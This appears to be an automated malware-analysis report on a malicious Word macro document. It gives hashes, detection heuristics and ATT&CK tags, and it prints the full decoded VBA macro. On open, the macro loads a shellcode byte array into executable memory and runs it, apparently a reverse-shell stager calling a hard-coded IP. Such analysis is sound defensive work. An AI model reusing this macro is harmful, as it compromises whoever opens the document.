Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec174bd58542870c…

MALICIOUS

Office (OLE)

35.0 KB Created: 2018-06-12 20:26:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: aa03f8fb4d5ea678345dee299a84712d SHA-1: 6eb6c95fb32f03d982e092506edc58f8f20cc6cc SHA-256: ec174bd58542870cec7e8297c836790bd1c6bbe094c77d69b6289089a3ef1586
146 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1608.001 Stage 1: Code Execution

The sample is a Microsoft Office document containing VBA macros, specifically triggering AutoOpen and Workbook_Open heuristics. The VBA script utilizes Windows API functions like VirtualAlloc and CreateThread, indicating an intent to allocate memory and execute code. This strongly suggests the macro is a downloader for a second-stage payload, aligning with the ClamAV detection of 'Doc.Downloader.Generic'.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    #End If
Sub Auto_Open()
Dim rrhsnypzacdkctrtzeh As Long, clcygjgmswdqmtcdfc As Variant, jbjvzdpmwjbdffnxs As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4501 bytes
SHA-256: 7cd5e09e7bf7d6d93d7f0c67b65596a208022836b54e088be5b4da02fc294eec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const tdcxhqdtom = 2
Const ukfwclwfop = 1
Const qvugnzmcfo = 0
#If VBA7 Then
Private Declare PtrSafe Function xjnewylr Lib "kernel32" Alias "CreateThread" (ByVal rjrtuyniiuynf As Long, ByVal yeedqlqeyzr As Long, ByVal szfpxnwiflx As LongPtr, tqbyhislsxq As Long, ByVal fvvfytfbaprdndghsv As Long, gzuzyxqmsvzxjro As Long) As LongPtr
Private Declare PtrSafe Function grvckpndynma Lib "kernel32" Alias "VirtualAlloc" (ByVal nxgehbyvtndyzwtw As Long, ByVal gotkduko As Long, ByVal zhoxwmochcuvxzz As Long, ByVal uvjdjjpgfgucotphyerh As Long) As LongPtr
Private Declare PtrSafe Function frftcjawrd Lib "kernel32" Alias "RtlMoveMemory" (ByVal byibbuhexnlfvvq As LongPtr, ByRef wbfvxvfawjcjd As Any, ByVal ovvpvimk As Long) As LongPtr
#Else
Private Declare Function xjnewylr Lib "kernel32" Alias "CreateThread" (ByVal rjrtuyniiuynf As Long, ByVal yeedqlqeyzr As Long, ByVal szfpxnwiflx As Long, tqbyhislsxq As Long, ByVal fvvfytfbaprdndghsv As Long, gzuzyxqmsvzxjro As Long) As Long
Private Declare Function grvckpndynma Lib "kernel32" Alias "VirtualAlloc" (ByVal nxgehbyvtndyzwtw As Long, ByVal gotkduko As Long, ByVal zhoxwmochcuvxzz As Long, ByVal uvjdjjpgfgucotphyerh As Long) As Long
Private Declare Function frftcjawrd Lib "kernel32" Alias "RtlMoveMemory" (ByVal byibbuhexnlfvvq As Long, ByRef wbfvxvfawjcjd As Any, ByVal ovvpvimk As Long) As Long
#End If
Sub Auto_Open()
Dim rrhsnypzacdkctrtzeh As Long, clcygjgmswdqmtcdfc As Variant, jbjvzdpmwjbdffnxs As Long
#If VBA7 Then
Dim bgwkckof As LongPtr, zjrceoewrmyoh As LongPtr
#Else
Dim bgwkckof As Long, zjrceoewrmyoh As Long
#End If
clcygjgmswdqmtcdfc = Array(232, 130, qvugnzmcfo, 0, qvugnzmcfo, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, tdcxhqdtom, 44, 32, 193, 207, 13, ukfwclwfop, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, ukfwclwfop, 209, 81, 139, 89, 32, ukfwclwfop, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, ukfwclwfop, 214, 49, 255, 172, 193, _
207, 13, ukfwclwfop, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, ukfwclwfop, 211, 102, 139, 12, 75, 139, 88, 28, ukfwclwfop, 211, 139, 4, 139, ukfwclwfop, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, qvugnzmcfo, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, ukfwclwfop, qvugnzmcfo, _
0, 41, 196, 84, 80, 104, 41, 128, 107, qvugnzmcfo, 255, 213, 106, 10, 104, 192, 168, 100, 48, 104, tdcxhqdtom, qvugnzmcfo, ukfwclwfop, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, qvugnzmcfo, 0, qvugnzmcfo, 106, qvugnzmcfo, 106, 4, 86, 87, 104, tdcxhqdtom, 217, 200, 95, 255, 213, _
131, 248, qvugnzmcfo, 126, 54, 139, 54, 106, 64, 104, qvugnzmcfo, 16, qvugnzmcfo, 0, 86, 106, qvugnzmcfo, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, qvugnzmcfo, 86, 83, 87, 104, tdcxhqdtom, 217, 200, 95, 255, 213, 131, 248, qvugnzmcfo, 125, 40, 88, 104, qvugnzmcfo, 64, qvugnzmcfo, 0, 106, qvugnzmcfo, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, ukfwclwfop, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, qvugnzmcfo, 83, 255, 213)
bgwkckof = grvckpndynma(qvugnzmcfo, UBound(clcygjgmswdqmtcdfc), &H1000, &H40)
For jbjvzdpmwjbdffnxs = LBound(clcygjgmswdqmtcdfc) To UBound(clcygjgmswdqmtcdfc)
rrhsnypzacdkctrtzeh = clcygjgmswdqmtcdfc(jbjvzdpmwjbdffnxs)
zjrceoewrmyoh = frftcjawrd(bgwkckof + jbjvzdpmwjbdffnxs, rrhsnypzacdkctrtzeh, ukfwclwfop)
Next jbjvzdpmwjbdffnxs
zjrceoewrmyoh = xjnewylr(qvugnzmcfo, qvugnzmcfo, bgwkckof, qvugnzmcfo, 0, qvugnzmcfo)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function akevkqeekjry(ByVal emlacrfppfgf As String) As String
Dim tnkqyzuwzsmq As Long
For tnkqyzuwzsmq = 1 To Len(emlacrfppfgf) Step 2
akevkqeekjry = akevkqeekjry & Chr$(Val("&H" & Mid$(emlacrfppfgf, tnkqyzuwzsmq, 2)))
Next tnkqyzuwzsmq
End Function

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